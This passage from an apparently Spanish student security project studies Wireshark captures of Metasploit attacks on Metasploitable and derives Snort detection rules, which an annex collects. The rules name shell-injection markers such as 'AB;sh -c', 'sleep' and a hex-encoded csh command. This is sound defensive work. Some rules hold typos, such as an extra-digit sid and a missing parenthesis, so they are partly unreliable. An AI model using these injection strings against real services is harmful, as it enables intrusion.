31 4. Defensa 4.1. Esnifando paquetes con Wireshark Mientras hacamos los anteriores ataques, estuvimos capturando el trfico en la mquina virtual Metasploitable. Buscaremos el trfico que caracterice a cada uno de los ataques para poder crear las reglas Snort correspondientes.
4.1.1. Trfico caracterstico Veamos qu caracteriza a cada uno de los ataques anteriores: vsFTPd: Debido a que sta versin de vsFTPd se distribuy con un backdoor durante un breve periodo de tiempo, podemos observar que lo nico que hace el exploit es autenticarse con usuario y contrasea predefinida. Por lo tanto no nos es posible diferenciar el trfico generado por el exploit de un acceso legtimo, a excepcin del usuario usado. Ah ser donde nos apoyaremos para crear nuestra primera regla de Snort.
Figura 22. Trfico capturado con Wireshark
Repitiendo el ataque vemos que el nombre de usuario cambia, pero los dos ltimos caracteres son siempre los mismos :).
Samba: La vulnerabilidad explotada tiene el identificador 2007-2447. Y tal y como podemos ver en la ficha de la vulnerabilidad, permite a un atacante ejecutar cdigo arbitrario.
Lo realmente interesante se encuentra aqu.
Figura 23. Trfico capturado con Wireshark
En el campo Account se usan caracteres que no se parsean correctamente, produciendo lo que hemos visto anteriormente. Ese ser nuestro punto de partida para generar la regla Snort.
32 Java RMI Server: Repasando la captura de Wireshark, lo que ms nos llama la atencin es la peticin GET que hace el equipo vctima al equipo atacante.
Figura 24. Trfico capturado con Wireshark
Figura 25. Detalles de un paquete
Que nuestro servidor se descargue un fichero .jar desde un sitio externo no tiene ningn sentido, por lo que eso ser lo que usaremos como identificacin para que se active la regla Snort. PHP CGI: Figura 26. Trfico capturado con Wireshark
Esta vulnerabilidad se produce cuando PHP est configurado como CGI script ya que no maneja correctamente las cadenas de consulta que no tienen un smbolo igual (=) que permite al atacante ejecutar cdigo arbitrario.
Si nos fijamos en la captura, podemos observar que el principal problema se encuentra en auto_prepend_file. Esa ser la cadena que buscaremos para detectar el ataque.
TOMCAT: Si repasamos la captura, vemos que ha generado algo ms de mil paquetes. Leyendo la informacin que nos proporciona el comando info, encontramos que se usa un PUT para subir el
33 fichero, ese ser nuestro identificador caracterstico del ataque. Debemos ir al paquete 842 para encontrarlo.
Figura 27. Trfico capturado con Wireshark
ircd: Este ataque permite ejecutar cdigo arbitrario.
Figura 28. Trfico capturado con Wireshark
Es sencillo de identificar.
Distcc: Parecido al anterior, permite ejecutar cdigo arbitrario. Figura 29. Trfico capturado con Wireshark
Nuevamente usaremos sleep como identificador.
34
4.2. Creacin de reglas Snort Con toda la informacin recogida anteriormente, podemos comenzar a crear las reglas de Snort. 4.2.1. Ficheros de configuracin y reglas Una vez instalado Snort, tendremos un directorio creado en /etc/snort/rules en el que se encuentran varios ficheros de reglas, separados por tipo de reglas, podremos aadir las nuestras al final de dichos ficheros o crear uno nuevo. Vamos a elegir la segunda opcin, para tenerlo todo centralizado en un nico fichero. Usamos el comando touch y creamos un fichero perso.rules.
touch /etc/snort/rules/perso.rules
Luego modificamos el fichero snort.conf y aadimos al final: nano /etc/snort/snort.conf
#Custom rules include $RULE_PATH/perso.rules
Reiniciamos Snort para que cargue nuestro fichero. Las alertas producidas por Snort se quedarn anotadas en la ruta /var/log/snort/ [13][14][15]
4.2.2. Creacin y funcionamiento Pues aclarado esto, comenzamos a crear nuestra primera regla, abrimos el fichero perso.rules y seguimos el esquema de reglas Snort que vimos en el punto 2.1.4. vsFTPd: Buscamos el paquete que enva el usuario FTP, que contiene la cadena :) y obtenemos su valor en hexadecimal: |3a 29|.
Por lo tanto, sabemos que el puerto de destino es el 21 (FTP) y que el paquete contiene los siguientes caracteres :). Aadimos el texto para la alerta, le asignamos un sid y formamos la regla:
alert tcp any any any 21 (msg:vsFTPd backdoor detected; sid:80000000; rev:1; classtype:suspicious-login; content:|3a 29|;)
Lanzamos de nuevo el exploit y revisamos los logs:
35
Figura 30. Alerta generada por Snort
Vemos que se ha generado la alerta.
Samba:
Estudiando ms a fondo el paquete que marcamos antes, sacamos que: El puerto de destino es el 139, que el paquete lleva siempre una cadena de texto sleep que en un modo de uso y funcionamiento normal, no existira y que la vulnerabilidad est identificada como CVE-2007-2447
alert tcp any any any 139 (msg:Samba usermap_script; sid: 80000001; rev: 1; classtype: string-detect; content:sleep; reference:cve, 2007-2447;)
Figura 31. Alerta generada por Snort
Java RMI: A diferencia de los anteriores, la conexin se realiza del equipo vctima al atacante, por lo que la direccin IP de origen se encontrar en la red local del equipo vctima, el puerto de destino al que se conecta es al 8080 y pretende descargar un fichero con extensin .jar.
alert tcp $HOME_NET any any 8080 (msg: Java RMI illegal usage; sid: 80000002; rev: 1; classtype: suspicious-filename-detect; content: .jar;)
Figura 32. Alerta generada por Snort
PHP CGI: Nuevamente, el puerto de destino es el 80, en el paquete siempre se encuentra la cadena auto_prepend_file y tiene como identificador el CVE-2012-1823.
alert tcp any any any 80 (msg: PHP CGI arg injection; sid: 80000003; rev:1; classtype: web-application-attack; content: auto_prepend_file; reference: cve, 2012-1823;)
36
Figura 33. Alerta generada por Snort
Tomcat: El puerto de destino es el 8180, contiene una cadena tal que PUT /manager/deploy?path
alert tcp any any any 8180 (msg: Apache Tomcat Manager App code execution; sid: 80000004; rev:1; classtype: web-application-attack; content: PUT /manager/deploy?path; content: WEB-INF;)
Figura 34. Alerta generada por Snort
ircd: El puerto de destino es el 6667, contiene las cadenas AB;sh, sleep y telnet.
alert tcp any any any 6667 (msg:unreal ircd backdoor; sid: 80000005; rev:1; classtype: string-detect; content: AB\;sh -c; reference: cve, 2010- 2075;)
Figura 35. Alerta generada por Snort.
distcc:
Como en los casos anteriores, sabemos el puerto de destino y cadenas que identifican el ataque:
37 5. Conclusiones Actualmente existen muchas herramientas que nos ayudan a securizar nuestros sistemas, como muestra tenemos las que hemos utilizado para la realizacin de este proyecto. Unas son ms intuitivas y sencillas de usar que otras, pero todas ampliamente documentadas, cosa que es de agradecer a la hora de aprender. Con la herramienta Metasploit he podido profundizar ms sobre distintos mtodos de ataque, ver cmo funcionan y hacer un estudio ms detallado, todo sobre un entorno completamente controlado. Si bien los resultados obtenidos han sido beneficiosos, solo refleja una parte de la realidad que vivimos ya que los ataques son cada vez ms sofisticados, vase Stuxnet o Mandiant APT-1. El uso de un IDS, Snort en este caso, es una parte importante para mejorar la seguridad de una red, pero no es suficiente por s solo. Es obligatorio combinarlo con otro tipo de dispositivos de seguridad, tales como: firewalls, WAF o IPS, y con otras aplicaciones, como antivirus, sin dejar de lado el propio sistema operativo, que debe mantenerse actualizado, al igual que todo el software instalado en el mismo. A pesar de tener a nuestra disposicin esa gran cantidad de dispositivos y herramientas, las empresas y nosotros mismos, como administradores de sistemas y seguridad, debemos hacer lo posible por concienciar a los usuarios de los peligros que nos acechan continuamente, pues un clic en un enlace de un correo electrnico aparentemente inofensivo o el conectar un pendrive USB que se han encontrado en la puerta de la empresa, puede tirar por tierra todo el trabajo y dinero invertido en securizar el entorno. Por ello, debemos mantener un equilibrio entre la potencia de la mquina y el sentido comn humano ya que si uno de los dos falla, todo se viene abajo.
[13] Rafeeq Ur Rehman, Rule Options | Working with Snort Rules, InformIT. [En lnea]. Disponible en: http://www.informit.com/articles/article.aspx?p=101171&seqNum=6ent/18/. [Accedido: 03-may-2013].
[14] Carlos Jimnez Galindo, PFC Diseo y Optimizacin de un Sistema de Deteccin de Intrusos Hbrido - ASO, Universidad de Almera, 2009.
[15] Sistemas de Deteccin de intrusos y Snort, Maestros del Web . [En lnea]. Disponible en: http://www.maestrosdelweb.com/editorial/snort/. [Accedido: 25-abr-2013].
39 7. Anexos 7.1 Contenido del fichero perso.rules
alert tcp any any -> any 21 (msg:"vsFTPd backdoor detected"; sid:80000000; rev:1; classtype:suspicious-login; content:"|3a 29|";)
alert tcp any any -> any 139 (msg:"Samba usermap_script"; sid: 800000001; rev:1; classtype:string-detect; content:"sleep"; reference:cve, 2007-2447;)
alert tcp $HOME_NET any -> any 8080 (msg:"Java RMI illegal usage"; sid: 80000002; rev:1; classtype:suspicious-filename-detect; content:".jar";)
alert tcp any any -> any 80 (msg:"PHP CGI arg injection"; sid: 80000003; rev:1; classtype:web-application-attack; content:"auto_prepend_file"; reference:cve, 2012-1823;)
alert tcp any any -> any 8180 (msg:"Apache Tomcat code execution"; sid:80000004; rev:1; classtype:web-application-attack; content: "/manager/deploy?path"; con- tent:"WEB-INF";)
alert tcp any any -> any 6667 (msg:"Unreal ircd Backdoor"; sid:80000005; rev:1; classtype: string-detect; content: "AB\;"; reference:cve, 2010-2075;)
alert tcp any any -> any 3632 (msg:"distcc exec"; sid:80000006; rev:1; classtype: string-detect; content: "|37 63 73 68 20 2d 63 20 27 28 73 6c 65 65 70|";